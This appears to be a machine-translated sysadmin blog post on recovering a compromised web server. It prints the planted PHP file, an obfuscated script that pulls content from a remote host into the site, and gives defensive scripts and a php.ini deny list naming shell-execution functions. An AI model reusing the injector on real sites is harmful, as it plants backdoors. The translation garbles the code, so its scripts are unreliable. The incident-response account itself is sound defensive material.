Remember that a Web server is * * * process

Source: Internet
Author: User

One day to receive the telecommunications network Supervisor email notification, the content is a website is * * *, there is a link to display "xxx" information. command to fix it immediately.
Resolution process:
1, view the server, found the server root directory show1.php,show2,php.info.php three files, the content is the same. The contents are as follows:
<?php
Set_time_limit (0);
$url 1 = $_server[' php_self ');
$name = substr ($url 1, Strrpos ($url 1, '/') +1);
chmod ($name, 0444);
Header ("content-type:text/html;charset=gb2312");
Date_default_timezone_set (' PRC ');
$a = Base64_decode ("ahr0cdovl2jhb2x1by5zagfuemhpnjy2lmnulw==");
$b = Base64_decode ("ahr0cdovlw=="). $_server[' Http_host '. $_server[' php_self '];
$c = file_get_contents ($a. Base64_decode ("l2luzgv4lnbocd9ob3n0pq=="). $b. "&url=". $_server[' query_string '. "&domain=". $_server[' server_name ');
Echo $c;
?>
According to the developer's analysis, the result is that XXX will display the desired content by means of a pass-through.

2. Move the files to the/opt/hacker directory.
3, the Ningx unnecessary configuration information commented out, restart.
4. Annotate unnecessary port development on PF. Restart PF
5, note haproxy unnecessary services.
6, write the SH script, monitoring the Web root directory/data/www/wdl directory, all new files are deleted. Exclude several directories:
#!/bin/bash
While True
Do
find/data/www/wdl/-maxdepth 1-mtime-1-name "">>/opt/webmon.log
find/data/www/wdl/-maxdepth 1-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/module_api/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/module_api/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/image/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/image/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/static/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/static/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/lang/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/lang/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/api/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/api/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/includes/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/includes/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/pay/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/pay/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/script/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/script/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/uc_client/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/uc_client/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/module/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/module/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/lib/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/lib/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/log/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/log/-mtime-1-name "
."|xargs rm-f
find/data/www/wdl/dlq9j15dshw5f/-mtime-1-name "
.">>/opt/webmon.log
find/data/www/wdl/dlq9j15dshw5f/-mtime-1-name "
. * "|xargs rm-f
Sleep 10
Done

7, adjust the php.ini disable_functions:
Disable_functions = Touch,chmod,pcntl_alarm, Pcntl_fork, Pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped , pcntl_wifsignaled, Pcntl_wexitstatus, Pcntl_wtermsig, Pcntl_wstopsig, Pcntl_signal, Pcntl_signal_dispatch, Pcntl_ Get_last_error, Pcntl_strerror, Pcntl_sigprocmask, Pcntl_sigwaitinfo, pcntl_sigtimedwait, Pcntl_exec, Pcntl_ GetPriority, Pcntl_setpriority, eval, Popen, PassThru, exec, System, shell_exec, Proc_open, Proc_get_status, Chroot, CHGR P, Chown, Ini_alter, Ini_restore, DL, Pfsockopen, Openlog, Syslog, Readlink, Symlink, Popepassthru, Stream_socket_server, Fsocket, ChDir

8, view process and proc in PS:
#!/bin/bash
str_pids= " ps-a | awk ' {print $} ' '
for i in/proc/[[:d Igit:] ]*; Do
If echo "$str _pids" | Grep-qs basename "$i" ; then:else echo "Rootkit's PID: $ (basename" $i ")" Fi done The
did not find an exception.
9, Download Rkhunter tool Check System Health
found that many system commands and configuration files have been modified. Fortunately there is a Web server that is not mounted online and is still available. Therefore, the server is * * * offline, there is no online server cloning two new Web server generation, currently only one online service.
10, scripting, real-time monitoring rkhunter tool monitoring results.
#!/bin/bash
While True
do
rkhunter-c-sk--nocolor >/opt/check.log
If [ cat Check.log |grep Ifconfig|awk ' {print $} ' = = ' OK ']
then
Echo good
else
/usr/bin/python/opt/sendsms.py ' dangerous f or Rkhhunter '
Echo ' dangerous for rkhunter ' >>/var/log/messages
fi
If [!-S Webmon.log]
then
Echo Good
Else
/usr/bin/python/opt/sendsms.py ' dangerous for Webmon.log '
Echo ' dangerous for Webmon.log ' >> /var/log/messages
Fi
Sleep +
Done
The target is: Immediately after the problem is found, SMS alarm. sendsms.py is the SMS alarm script I wrote.

Remember that a Web server is processed by the process

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.